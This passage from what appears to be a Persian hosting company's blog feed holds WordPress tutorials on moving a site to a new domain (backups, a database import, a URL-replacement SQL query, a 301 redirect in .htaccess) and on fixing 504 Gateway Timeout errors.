  • تغییر نشانی‌های وردپرس که در بخش تنظیمات وردپرس یا از طریق دیتابیس قابل انجام هست
  • اجرای کوئری برای بروزرسانی آدرس‌های دامنه در دیتابیس
  • قرار دادن کد ریدایرکت 301 وردپرس در فایل htaccess. دامنه قبلی
  • ثبت سایت با دامنه جدید در گوگل

بعد از طی کردن همه مراحل بالا در نهایت سایت شما به دامنه جدید منتقل شده و هر کاربری هم که با استفاده از دامنه قبلی وارد سایتتون بشه به آدرس سایت با دامنه جدید ریدایرکت خواهد شد. اما قبل از اینکه به معرفی مراحل تغییر آدرس سایت در وردپرس بپردازم لازمه که به یک سوال اساسی در این زمینه که مربوط به سئو وردپرس هست پاسخ بدیم.

در صورت تغییر آدرس سئو سایت از دست خواهد رفت؟

این سوال همواره یک سوال اساسی هست که برای این کار پرسیده میشه و به نوعی ریسک بزرگی برای کاربران به حساب میاد. چه سایت شما تازه تاسیس باشه و چه چندین سال از فعالیت سایت گذشته باشه باید از این بابت خیالتون رو کاملا آسوده کنید که از این نظر مشکلی پیش نخواهد اومد. چرا که وقتی شما کار ریدایرکت 301 در وردپرس رو انجام میدین کاربران از دامنه قبلی به دامنه جدید منتقل خواهند شد. از طرف دیگه گوگل هم این موضوع رو درک خواهد کرد و به مرور اعتبار رو از دامنه قبلی به دامنه جدید منتقل میکنه تا جایی که دیگه به صورت کامل دامنه قبلی از نتایج گوگل کنار خواهند رفت.

اما ممکنه بگید که برای دامنه قبلی اقدام به لینک سازی کردید و کلی بک لینک براش دارید که از این نظر راهکاری که وجود داره این هست که این لینک‌ها رو تا جایی که میتونید و دسترسی دارید به دامنه جدید تغییر بدین. در صورتی که قادر به تغییر هم نیستید تا حدودی میشه بخاطر ریدایرکت بازدیدکنندگان رو دریافت کرد. اما مطمئنا در آینده برای این موضوع گوگل هم راهکاری ارائه میده که بتونید این مورد رو برطرف کنید.

مرحله اول: تهیه بک آپ از سایت

تو اولین مرحله باید یک نسخه فول بک آپ کامل از سایت و هاست خودتون تهیه کرده و اونو به هاست جدید منتقل کنید. برای این کار میتونید طبق توضیحاتی که در مقاله آموزش نحوه بکاپ گیری و بازگردانی بکاپ در وردپرس ارائه دادم استفاده کنید. استفاده از این روش گزینه بهتری خواهد بود. ابتدا از فایل‌های وردپرس نسخه بک آپ تهیه می‌کنید و سپس یک نسخه بک آپ هم از دیتابیس وردپرس تهیه می‌کنید. این دو فایل به صورت جدا هستند که در قالب یک فایل zip. و sql. قابل خروجی گرفتن هستند.

1. تهیه بک آپ از فایل‌های وردپرس

توی این مرحله باید از کلیه فایل‌ها و پوشه‌های مربوط به وردپرس که داخل public_html هاست قرار داره یک نسخه بک آپ با فرمت zip. ایجاد کنید. در ساختن این نسخه فرقی بین کنترل پنل هاست سی پنل و دایرکت ادمین وجود نداره و در هر صورت باید از محتویات داخل مسیر public_html یک خروجی تهیه کنید. بنابرای وارد هاست شده و روی File Manager کلیک کنید تا به مسیر مدیریت فایل‌ها در هاست هدایت شوید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

سپس وارد public_html شده و با انتخاب گزینه Select All کلیه پوشه‌ها و فایل‌ها رو انتخاب کنید. بعد از اینکه کلیه موارد انتخاب شد، راست کلیک کرده و گزینه Compress را انتخاب کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از کلیک روی گزینه Compress پنجره زیر نشون داده میشه که باید ابتدا فرمت فایل خروجی را در حالت ZIP انتخاب کنید. سپس در انتهای پنجره مسیر مورد نظر برای ذخیره فایل به همراه عنوان فایل را وارد کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بنابراین فرمت فایل مورد نظر برای خروجی گرفتن را روی zip. قرار داده و سپس فایل خروجی را با نام دلخواه تعیین کنید. اینجا چون من موقع راست کلیک کردن نشانگر ماوس روی پوشه wp-admin قرار داشته، سی پنل به صورت خودکار این اسم رو برای فایل بک آپ انتخاب کرده که منم تغییری در این گزینه ایجاد نکردم. در نهایت روی دکمه Compress Files کلیک کرده و منتظر بمونید تا فایل خروجی شما بسته به میزان حجم فایل‌های سایت در مسیر تعیین شده تهیه بشه. حالا بعد از اینکه فایل خروجی شما ایجاد شد اونو دانلود کنید و در سیستم خودتون ذخیره کنید. در اینجا همونطور که در فیلد مسیر و نام میبینید فایل من با نام wp-admin.zip در مسیر public_html ذخیره شده که برای دانلود کردن باید روی فایل wp-admin.zip که داخل مسیر public_html قرار داره دو بار کلیک کنم تا فایل خروجی دانلود بشه.

2. تهیه بک آپ از دیتابیس وردپرس

برای تهیه بک آپ از دیتابیس وردپرس ابتدا باید وارد هاست خود شوید. بعد از اینکه نام کاربری و رمز خودتون را برای ورود به هاست وارد کردید روی گزینه phpmyadmin کلیک کنید تا به صفحه مدیریت دیتابیس سایت هدایت شوید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

تو این مرحله ممکنه ازتون نام کاربری و رمز عبور برای ورود درخواست بشه. در این صورت باید از نام کاربری و رمز ورود به هاست برای ورود به phpmyadmin استفاده کنید. سپس مشابه تصویر زیر از سمت چپ دیتابیس سایت خودتونو انتخاب کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

حالا از سربرگ بالا گزینه Export را انتخاب کنید. تو این صفحه کافیه از قسمت Format نوع اونو روی SQL انتخاب کرده و در نهایت روی دکمه Go کلیک کنید. بسته به میزان حجم دیتابیس منتظر بمونید تا خروجی از دیتابیس وردپرس تهیه بشه و در نهایت فایل خروجی را با فرمت SQL. دانلود کرده و در کامپیوتر خودتون ذخیره کنید.

تا این مرحله تهیه نسخه بک آپ از سایت وردپرس فعلی که روی هاست اولیه قرار داره به اتمام رسیده و حالا باید فایل بک آپ wp-admin.zip و فایل بک آپ دیتابیس که با نام mizbanorg_backup.sql رو دانلود کردید به هاست و دامنه جدید منتقل کنید.

مرحله دوم: قرار دادن بک آپ روی هاست جدید

بعد از اینکه کارهای مرحله اول رو انجام دادید، باید بک آپ تهیه شده از فایل‌ها و دیتابیس رو روی دامنه جدید خودتون که براش یک هاست خریداری کردید منتقل کنید. بعد از خرید هاست نهایتا تا 72 ساعت منتظر بمونید تا دامنه و هاست به یکدیگر متصل شوند. سپس فایل بک آپ که از فایل‌های وردپرس و دیتابیس وردپرس تهیه کردید رو به هاست که روی دامنه جدید هست منتقل کنید. در رابطه با این کار هم کافیه به ترتیب زیر عمل کنید.

  1. ابتدا فایل zip. که از فایل‌های موجود در public_html هاست اول تهیه کردید رو درست در همین مسیر از هاست جدید آپلود کرده و از حالت فشرده خارج کنید.
  2. یک دیتابیس جدید بسازید، سپس وارد phpmyadmin هاست جدید شده و اقدام به درون ریزی فایل بک آپ دیتابیس که از هاست اول با فرمت sql. کردید بکنید.

برای انجام این دو مرحله باید مراحل چندگانه زیر را طی کرده و به روش زیر عمل کنید.

1. آپلود فایل بک آپ وردپرس روی هاست جدید

وارد هاست خودتون شده و روی گزینه File Manager کلیک کنید تا به صفحه مدیریت فایل‌ها در هاست هدایت بشید. سپس به مسیر public_html مراجعه کنید. روی گزینه Upload در بالای صفحه کلیک کنید و فایل بک آپ وردپرس که با نام wp-admin.zip در مرحله بک آپ گیری وردپرس ازش تهیه شد رو انتخاب کرده و آپلود کنید. دقت کنید که نام wp-admin.zip در این آموزش استفاده شده و ممکنه فایل بک آب شما با یک نام دیگه‌ای باشه.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از کلیک روی دکمه آپلود به صفحه‌ای مشابه تصویر زیر هدایت میشید که با انتخاب دکمه select file میتونید فایل مورد نظر رو انتخاب کرده و منتظر بمونید تا کار آپلود تا انتها پیش بره.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

پس از اتمام آپلود تو مسیر public_html فایل wp-admin.zip رو میبینید، باید انتخابش کنید و بر روی extract کلیک کنید و فایل رو از حالت فشرده خارج کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از کلیک روی Extract پنجره زیر نمایش داده میشه که باید تو این مرحله بعد از اینکه مسیر برای خارج کردن فایل از حالت فشرده صحیح بود روی دکمه Extract کلیک کنید تا فایل‌ها و پوشه‌های سایت از حالت فشرده خارج شوند.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

2. ساخت دیتابیس جدید در هاست

در این مرحله لازمه تا ابتدا یک پایگاه داده جدید در هاست سی پنل یا دایرکت ادمین ایجاد کنیم و سپس پایگاه داده‌ای که در مرحله اول خروجی گرفتیم رو در این دیتابیس درون ریزی کنیم. پس برای ساخت پایگاه داده جدید در سی پنل ابتدا به صفحه اصلی کنترل پنل هاست سی پنل مراجعه کنید. سپس مشابه تصویر زیر روی دکمه MySQL database wizard کلیک کنید تا به صفحه ساخت دیتابیس جدید در هاست سی پنل هدایت شوید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

پس از کلیک روی دکمه مورد نظر به صفحه‌ای مشابه تصویر زیر هدایت خواهید شد. یک نام دلخواه برای پایگاه داده جدید وردپرس انتخاب کنید و سپس روی دکمه Next Step کلیک کنید تا وارد مرحله تعیین نام کاربری پایگاه داده وردپرس و رمز پایگاه داده وردپرس شده و در نهایت دیتابیس خودتون رو بسازید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

پس از اینکه روی دکمه Next Step کلیک کنید به صفحه‌ای مشابه تصویر زیر هدایت میشید که در اون میتونید نام کاربری پایگاه داده و رمز پایگاه داده رو انتخاب کنید و در نهایت پایگاه داده خودتونو ایجاد کنید. با استفاده از دکمه Password Generator قادر خواهید بود تا یک رمز قوی که سی پل به صورت خودکار برای سما میسازه ایجاد کنید و از اون برای رمز پایگاه داده خودتون استفاده کنید. در این مرحله دقت کافی را داشته باشید که رمز رو در جایی مطمئن کپی کنید و اونو هیچوقت فراموش نکنید چرا که در آینده و در مراحل بعد به این رمز و نام‌های انتخاب شده احتیاج پیدا خواهید کرد.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

 

در نهایت پس از پر کردن کلیه فیلدهای بالا به صفحه دیگری مشابه تصویر زیر هدایت خواهید شد، در این مرحله تیک گزینه ی ALL PRIVILEGES رو بزنین و روی next step کلیک کنین تا ارتباط بین یوزر و پایگاه داده برقرار بشه و سطح دسترسی های یوزر هم تصحیح بشه.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از کلیک روی Next Step در این مرحله پایگاه داده به درستی ساخته شده و پیغام موفقیت آمیز بودن اون به شما نمایش داده میشود.

3. درون ریزی دیتابیس در هاست جدید

حالا که دیتابیس رو ساختید باید به phpmyadmin مراجعه کرده و با انتخاب دیتابیس ساخته شده درون ریزی فایل بک اپ دیتابیس رو هم انجام بدین. برای این منظور به صفحه اصلی کنترل پنل در هاست سی پنل مراجعه کنید و از قسمت databases گزینه‌ی phpmyadmin رو مشابه اونچه که در تصویر زیر میبینید انتخاب کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از ورود به phpmyadmin، پایگاه داده‌ی جدید رو که در مرحله دوم با همدیگه ساختیم را انتخاب کنید و مشابه تصویر زیر روی دکمه import که در بالای صفحه قرار داره کلیک کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

حالا تو صفحه import روی Chhose File کلیک کرده و فایل .sql ذخیره شده رو که قبلا ازش بک آپ تهیه کردید رو انتخاب کنید که تو این آموزش فایل بک آپ دیتابیس من با نام mizbanorg_backup.sql در کامپیوتر ذخیره شده که باید اونو انتخاب کنید و در نهایت با کلیک روی دکمه go که در انتهای صفحه قرار داره عملیات ایمپورت اطلاعات پایگاه داده رو انجام بدین تا در نهایت در باکسی که با رنگ سبز به شما نشون داده میشه پیغام موفقیت آمیز بودن مراحل درون ریزی دیتابیس رو مشاهده کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

4. ویرایش فایل wp-config.php

توی این مرحله باید به File Manager هاست مراجعه کرده و به دنبال فایل wp-config.php بگردید. سپس روی این فایل راست کلیک کرده و دکمه Edit رو انتخاب کنید تا صفحه ویرایش فایل برای تغییر اطلاعات دیتابیس براتون باز بشه.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از باز شدن صفحه ویرایش فایل مشابه تصویر زیر اطلاعات دیتابیس جدید وردپرس که در مرحله قبل ساختید رو وارد کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از وارد کردن این مشخصات امکان برقراری ارتباط بین دیتابیس و وردپرس فراهم خواهد شد. اما چون هنوز آدرس‌ها مربوط به دامنه قبلی هستند سایت بالا نمیاد و باید آدرس دامنه جدید رو در دیتابیس وارد کنید.


مرحله سوم: تغییر نشانی سایت در دامنه و هاست جدید

بعد از طی مراحل بالا حالا باید آدرس سایت که قبلا با دامنه قدیمی بوده رو به دامنه جدید تغییر بدین. در اینجا چون دسترسی به پیشخوان وردپرس برای تغییر آدرس‌های وردپرس نیست باید از طریق دیتابیس این کار رو انجام بدین. بنابراین به روش زیر عمل کرده و آدرس دامنه در دیتابیس وردپرس را تغییر بدین.

کاری که می‌کنید اینه که به صورت مستقیم از طریق دیتابیس سایت که در هاست جدید قرار داره اقدام به ویرایش‌های آدرس در وردپرس می‌کنید. برای این کار باید وارد هاست جدید خودتون که روی دامنه جدید قرار داره شده و سپس به phpmyadmin برای دسترسی به دیتابیس مراجعه کنید. بنابراین بعد از اینکه وارد هاست خودتون شدید روی گزینه phpmyadmin کلیک کنید تا به صفحه مدیریت پایگاه داده در هاست هدایت شوید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از اینکه وارد phpmyadmin شدید ممکنه از شما نام کاربری و رمز درخواست بشه، بنابراین از همان نام کاربری و رمز عبور که برای هاست استفاده می‌کنید در اینجا هم استفاده کنید. بعد از اینکه وارد پایگاه داده شدید، از ستون سمت چپ پایگاه داده خودتون را انتخاب کنید تا جداول پایگاه داده نمایش داده شوند. سپس روی جدول wp_options کلیک کنید تا جدول تنظیمات پایگاه داده وردپرس نمایش داده شود. البته دقت کنید در صورتی که هنگام نصب وردپرس اقدام به تغییر پیشوند جداول در وردپرس کرده باشید این نام متغیر بوده و به جای _wp از یک پیشوند دیگه استفاده خواهد شد. پس در هر صورت باید جدول پایگاه داده شما شامل پسوند options باشد.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

حالا همونطور که در تصویر میبینید باید دو فیلد siteurl و home را که میبینید ویرایش کنید. بنابراین روی دکمه Edit هر یک از این دو گزینه کلی کنید تا به صفحه ویرایش اونها هدایت شوید. سپس مشابه تصویر زیر در فیلد option_value آدرس سایت خود را به همراه http وارد کنید. در صورتی که اقدام به نصب SSL در وردپرس کردید باید این آدرس را همراه https وارد کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

بعد از اینکه آدرس siteurl ویرایش شد مجددا همین کار را برای home نیز تکرار کرده و آدرسی که در siteurl وارد کردید در این بخش هم وارد کنید. اگر با مشکل ساختار آدرس مواجه هستید حتی اگر آدرس‌های این دو فیلد هم درست بودند یک بار روی دکمه Go کلیک کنید تا به‌روز شوند.


مرحله چهارم: اجرای کوئری برای تغییر دامنه در دیتابیس

توی این مرحله نیاز دارید آدرس‌های دامنه قبلی که در دیتابیس وجود داشتند رو به آدرس دامنه جدید تغییر بدین. در این حالت میتونید با اجرای یک کوئری این کار رو انجام بدین و یا اینکه میتونید با استفاده از افزونه این کار رو به راحتی انجام بدین که به معرفی هر دو روش می‌پردازم.

روش اول: اجرای کوئری از دیتابیس

توی این روش باید مشابه تصویر زیر ابتدا روی دیتابیس کلیک کنید. سپس از منوی بالا روی تب SQL کلیک کنید.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

همونطور که در تصویر میبینید کد بالا را در فیلد Run SQL query/queries on database قرار داده و در نهایت روی دکمه Go کلیک کنید و منتظر بمونید تا عملیات جایگزینی آدرس‌ها در وردپرس انجام بگیره.

UPDATE wp_posts SET post_content = REPLACE (post_content, 'olddomain.com/', 'newdomain.com/');

روش دوم: استفاده از افزونه

توی این روش میتونید با استفاده از مقاله آموزش جستجو و جایگزینی کلمات در وردپرس که به معرفی افزونه Better Search and Replace پرداختم آدرس دامنه قبلی را وارد کرده و با دامنه جدید جایگزین کنید. کاری که این افزونه انجام میده این هست که داخل دیتابیس میگرده و کلیه کلماتی که تعیین کردید رو با کلمات جدید جایگزین خواهد کرد. کافیه تو فیلد جستجو نام دامنه قبلی به همراه پسوند دامنه رو وارد کنید و بعد از اینکه در دیتابیس گشت و تعداد مشخص شد نام دامنه جدید به همراه پسوند رو وارد کرده و روی دکمه جایگزینی کلیک کنید تا کلیه کلمات مربوط به دامنه‌ها در مطالب، نظرات و… جایگزین و اصلاح شوند.


مرحله پنجم: قرار دادن کد ریدایرکت در htaccess.

حالا باید وارد هاست قبلی که روی دامنه قبلی قرار داره شده و کد ریدایرکت 301 رو برای اینکه اعتبار دامنه قدیمی رو به دامنه جدید منتقل کنید، قرار بدین. برای این کار بعد از اینکه وارد هاست شدید روی File manager کلیک کرده و به مسیر public_html مراجعه کنید. تو این مسیر باید به دنبال فایل htaccess. بگردید. این فایل جزو فایل‌های مخفی هست بنابراین اگر این فایل رو پیدا نکردید روی دکمه Settings که در گوشه سمت راست بالای صفحه فایل منیجر سی پنل قرار داره کلیک کنید تا پنجره زیر باز شده و گزینه show hidden files را انتخاب کنید. سپس روی دکمه Save کلیک کنید تا تنظیمات ذخیره بشن.

تغییر نشانی سایت در وردپرس و نحوه تغییر دامنه سایت در وردپرس

حالا میتونید فایل htaccess. را ببیند که برای ویرایش کردنش کافیه روی فایل رایت کلیک کرده و گزینه Edit را انتخاب کنید. سپس کدهای زیر را در ابتدای فایل قرار داده و ذخیره کنید.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_HOST} ^olddomain\.ir$ [OR]
RewriteCond %{HTTP_HOST} ^www\.olddomain\.ir$
RewriteRule (.*)$ http://newdomain.com/$1 [R=301,L]
</IfModule>

در کدهای بالا به جای olddomain نام دامنه قدیمی و به جای newdomain هم نام دامنه جدید که باید کاربران به اون منتقل بشن رو وارد کنید.

در وارد کردن آدرس‌ها نهایت دقت رو داشته باشید که در صورتی که از پروتکل HTTPS استفاده می‌کنید حتما باید آدرس‌های وارد شده همراه با https باشند. یا اینکه اگر از www استفاده می‌کنید هم باید آدرس‌ها به صورت www وارد شده باشند.

مرحله ششم: معرفی سایت با دامنه جدید به گوگل

حالا همه کارها به درستی انجام شده و میتونید کلیه بخش‌های سایت رو چک کنید و ببینید که سایت با دامنه جدید در دسترس هست. برای بررسی این موضوع کارهای زیر رو حتما انجام بدین.

  • بررسی انتقال از دامنه قدیمی به دامنه جدید
  • بررسی لینک‌های سایت در دامنه جدید و عدم وجود خطای 404 وردپرس
  • بررسی تصاویر و فایل‌ها در وردپرس و پیشخوان وردپرس
  • و…

حالا که همه چیز درست بود باید دامنه جدید رو در گوگل ثبت کنید. برای این کار کافیه مشابه توضیحاتی که برای آموزش معرفی سایت وردپرسی به گوگل داده شده دامنه جدید را در گوگل ثبت کنید. همچنین دقت کنید که آدرس نقشه سایت وردپرس رو هم به گوگل با دامنه جدید در کنسول جستجوی گوگل ثبت کنید.

امیدوارم که این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید اقدام به تغییر نشانی سایت در وردپرس کرده و آدرس دامنه سایت در وردپرس را تغییر دهید. در صورتی که در روش‌های گفته شده در این مقاله برای تغییر دامنه در وردپرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها اعلام کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش تغییر دامنه سایت در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.

آموزش رفع خطای ۵۰۴ در وردپرس

$
0
0

خطاهایی که در وردپرس رخ میدن و به صورت کلی هر خطایی که در سایت به وجود میاد تمومی نداره و در هر زمانی ممکنه به دلایل مختلفی از سمته هاست یا خود وردپرس با انواع خطا مواجه بشید که برای رفع هر کدوم از این خطاها باید چندین راهکار مختلف رو بررسی و تست کنید تا ببینید مشکل از کجا بوده و در نهایت بعد از شناسایی کد خطا و منشا اون اقدام به رفع خطا بکنید. خطاها در وردپرس هم انواع و اقسام مختلفی دارند که در این آموزش میخوام به نحوه رفع خطای 504 در وردپرس بپردازم. این خطا عموما بخاطر تایم اوت شدن به وجود میاد. خطای 504 Gateway Timeout در وردپرس زمانی به وجود میاد که سرور سایت که در حال دریافت و ارسال درخواست به مرورگر هست در زمان مناسب و تعیین شده پاسخی از مرورگر کاربر دریافت نمیکنه و به همین دلیل در نهایت این خطا نمایش داده خواهد شد.

در این آموزش از پایگاه دانش میزبان‌فا به معرفی انواع پیغام‌هایی که موقع به وجود اومدن خطای 504 در وردپرس با اون مواجه خواهید شد میپردازم و در نهایت هم به معرفی راه‌هایی برای رفع این مشکل چه از سوی کسی که مدیر سایت هست و به سرور یا هاست دسترسی داره و چه کسی که یک کاربر عادی هست که با خطای 504 Gateway Timeout در وردپرس مواجه شده میپردازم. پس اگر شما هم با این خطا چه در وردپرس و چه در سایر سیستم‌های مدیریت محتوا مواجه شدید تا انتهای آموزش همراه ما باشید.

آموزش رفع خطای 504 در وردپرس

خطای 504 در وردپرس ممکنه به صورت‌های مختلفی خودش رو نشون بده که در عمومی‌ترین حالت پیغام 504 Gateway Timeout نمایش داده خواهد شد. اما اگر پیغام‌های زیر رو هم در مرورگر مشاهده کردید باید بدونید که این پیغام‌ها هم به معنی همین خطای 504 هستند که برای رفع اونها میتونید از روش‌هایی که در این مقاله معرفی کنم استفاده کنید.

504 Gateway Timeout
HTTP 504
504 ERROR
Gateway Timeout (504)
HTTP Error 504 - Gateway Timeout
Gateway Timeout Error

هر یک از این خطاها ممکنه با یک پیغام با سایز کوچک در صفحه مرورگر نمایش داده بشن و یا اینکه در مرورگرهای مختلف و به طبع در سیستم عامل مختلف موبایل و دسکتاپ هم به صورت‌های گوناگونی نمایش داده بشن. در هر صورت هر کدوم از پیغام‌های بالا که نشون داده شد برای رفع کردنشون باید به شیوه‌هایی که معرفی می‌کنم عمل کنید.

خطای 504 در وردپرس و حل مشکل gateway timeout در وردپرس

حالت اول: رفع خطای 504 در وردپرس

در این حالت شما به عنوان مدیر سایت در نظر گرفته خواهید شد. بنابراین به سرور یا هاست برای انجام تغییرات و رفع خطا دسترسی دارید. پس اگر کاربر عادی هستید نباید از روش‌هایی که در اینجا گفته میشه استفاده کنید و از حالت دوم برای این کار استفاده کنید.

1. خطا به دلیل تغییرات در سرور

در این حالت خطای 504 در سایت به خاطر تغییراتی که در سرور به وجود میاد باعث به وجود اومدن مشکل gateway timeout در وردپرس خواهد شد. در این حالت رفع مشکل در دست ما نیست و باید منتظر بمونیم تا شرکت میزبانی مشکل را برطرف بکنه. البته نیازی نیست سریعا با به وجود اومدن خطا تیکت ارسال کنید. چرا که روی یک سرور انواع و اقسام نرم افزارها وجود داره که باید مرتبا آپدیت بشن و گاهی اوقات هنگام آپدیت این مشکلات به وجود میاد.

2. خطا به دلیل بازدید بالا

زمانی هم پیش میاد که بازدید سایت شما بالا میره و سرور و هاست شما قادر به پاسخگویی نخواهد بود. به همین خاطر ممکنه با خطای 504 یا در برخی مواقع با خطای 503 در وردپرس هم مواجه بشید. برای اینکه مطمئن بشید مشکل از بازدید بالا هست کافیه یک بار آمارگیر وردپرس خودتون رو بررسی کرده و تعداد افراد انلاین و بازدیدهای امروز رو مشاهده کنید.

3. خطا به دلیل اختلالات در پایگاه داده وردپرس

بعضی اوقات هم این خطا به خاطر عدم بهینه سازی و شلوغ شدن دیتابیس از داده‌های غیر ضروری به وجود میاد که برای این کار کافیه اقدام به بهینه سازی دیتابیس در وردپرس بکنید. برای بهینه سازی دیتابیس وردپرس روش‌های مختلفی وجود داره که یکی از این کارها آموزش بهینه سازی دیتابیس وردپرس با مدیریت رونوشت‌ها هست.

4. خطا به دلیل خراب بودن فایل htaccess.

در برخی مواقع هم بخاطر تغییرات در فایل htaccess. این خطا به وجود میاد. در صورتی که در حال ویرایش و تغییرات در این فایل خطای 504 براتون پیش اومد کافیه فایل htaccess. که داخل مسیر public_html قرار داره رو به یک نام دیگه مثل htaccess_old. تغییر نام بدین. سپس به منوی تنظیمات> پیوندهای یکتا در پیشخوان وردپرس مراجعه کرده و یک بار روی دکمه ذخیره تغییرات کلیک کنید تا فایل جدید ساخته بشه. یا اینکه کدهایی که به فایل اضافه کردید را پاک کرده و کدهای وارد شده رو بررسی کنید ببینید که به درستی وارد شدن یا خیر.

5. خطا پس از آپدیت افزونه یا قالب

اگه به تازگی اقدام به آپدیت قالب وردپرس، آپدیت افزونه وردپرس یا حتی آپدیت وردپرس کردید و با این خطا مواجه شدید کافیه با جایگزین کردن نسخه قبلی مشکل gateway timeout در وردپرس رو برطرف کنید. سپس بررسی کنید و ببینید که قالب، افزونه و یا هسته وردپرس به چه دلیلی بوده که باعث به وجود اومدن خطای 50 شده و اقدام به رفع مشکل بکنید و در نهایت آپدیت خودتون رو انجام بدین.

خطای 504 در وردپرس و حل مشکل gateway timeout در وردپرس

6. خطا هنگام استفاده از کلودفلر

در صورتی که از کلودفلر استفاده می‌کنید گاهی هم ممکنه که با این خطا مواجه بشید که دلیل اون عدم ایجاد ارتباط سرور با کلودفلر هست که گاها به صورت موقت پیش میاد. شاید به وجود اومدن این حالت دقایقی طول بکشه که خود به خود برطرف خواهد شد. اما اگر برطرف نشد باید تنظیمات کلودفلر و هاست خودتون رو بررسی کنید.

7. پایین بودن زمان اجرای PHP

گاهی اوقات هم پیش میاد که به دلیل پایین بودن زمان اجرای PHP  با این خطا مواجه خواهید شد که برای رفع اون کافیه کد زیر را داخل فایل htaccess. قرار داده و ذخیره کنید.

<IfModule mod_php5.c>
php_value post_max_size 5M
php_value upload_max_filesize 5M
php_value memory_limit 128M
php_value max_execution_time 300
php_value max_input_time 300
php_value session.gc_maxlifetime 1200
</IfModule>

در کدهای بالا مدت زمان تعیین شده روی 300 ثانیه قرار داره که اگر در این مدت زمان اسکریپت قادر به اجرای php نباشه خطای تایم اوت به وجود میاد که میتونید با اضافه کردن این مدت زمان محدودیت حافظه اجرای php در وردپرس رو بیشتر کنید.

8. تماس با شرکت میزبانی هاست

اگر با استفاده از روش‌های فوق موفق به برطرف کردن خطا نشدید کافیه اقدام به ارسال تیکت کرده و با مطرح کردن مشکل با شرکت هاستینگ خودتون موضوع رو با اونها در میون بزارید تا بررسی و برطرف کنند.


حالت دوم: رفع خطای 504 سمت کاربر

در این حالت شما یک کاربر عادی هستید که موقع بازدید از یک سایت با خطای 504 مواجه شدید. در این صورت میتونید با استفاده از راهکارهایی که در ادامه معرفی می‌کنم سعی کنید مشکل رو برطرف کنید، اما اگر با این راهکارها مشکل برطرف نشد باید منتظر بمونید تا مدیر سایت کارهایی که در بالا گفتم رو انجام بده و خطا رو در سایت برطرف کنه و در نهایت شما به عنوان یک بازدیدکننده قادر به مشاهده سایت باشید. اما این نکته را هم به خاطر داشته باشید که، از اونجایی که این خطاها عموما به مشکلات سرور و مرورگر مربوط میشن و در اکثر مواقع مشکل از سمت سرور هست باید منتظر باشید که مشکلات از سمت مدیر سایت بررسی و رفع بشه، اما در موارد خیلی کم هم پیش میاد که ممکنه مشکل از سیستم یا رایانه شما باشه که با چند مورد از موارد زیر قادر به برطرف کردن موضوع خواهید بود.

  • از دکمه‌های CTRL + F5 یا CTRL + R برای ریلود کردن صفحه برای چندین بار پشت سر هم استفاده کنید تا مجددا درخواست لود صفحه به سرور ارسال شده و پاسخی ازش دریافت کنید. اگر پاسخ به درستی ارسال بشه و مشکلی در سرور وجود نداشته باشه صفحه براتون لود خواهد شد. در غیر این صورت همچنان با خطا روبه‌رو خواهید شد.
  • مودم خودتون رو برای مدتی در حدود ده دقیقه خاموش کرده و مجددا روشن کنید. سپس مجددا صفحه سایت را لود کرده و ببینید که مشکل برطرف شده یا همچنان باقی است.
  • از ابزار تغییر آی‌پی استفاده کنید و سعی کنید که با استفاده از آی‌پی کشور دیگه به سایت دسترسی پیدا کنید.
  • منتظر بمانید و بعد از دقایقی دیگر سعی کنید مجددا به صفحه مورد نظر دسترسی پیدا کنید.

با استفاده از نکات بالا هم میتونید در برخی موارد خیلی کم اقدام به حل مشکل gateway timeout در وردپرس یا هر سایت دیگه بکنید.

امیدوارم این آموزش هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون تونسته باشید اقدام به رفع خطای 504 در وردپرس بکنید. در صورتی که در رابطه با این آموزش و نحوه حل مشکل gateway timeout در وردپرس سوال یا مشکلی داشتید در بخش دیدگاه‌ها مطرح کنید تا در کوتاه‌ترین زمان ممکن پاسخگوی شما باشم.

نوشته آموزش رفع خطای ۵۰۴ در وردپرس اولین بار در پایگاه دانش میزبان‌فا پدیدار شد.


معرفی بهترین افزونه‌های کش وردپرس

$
0
0

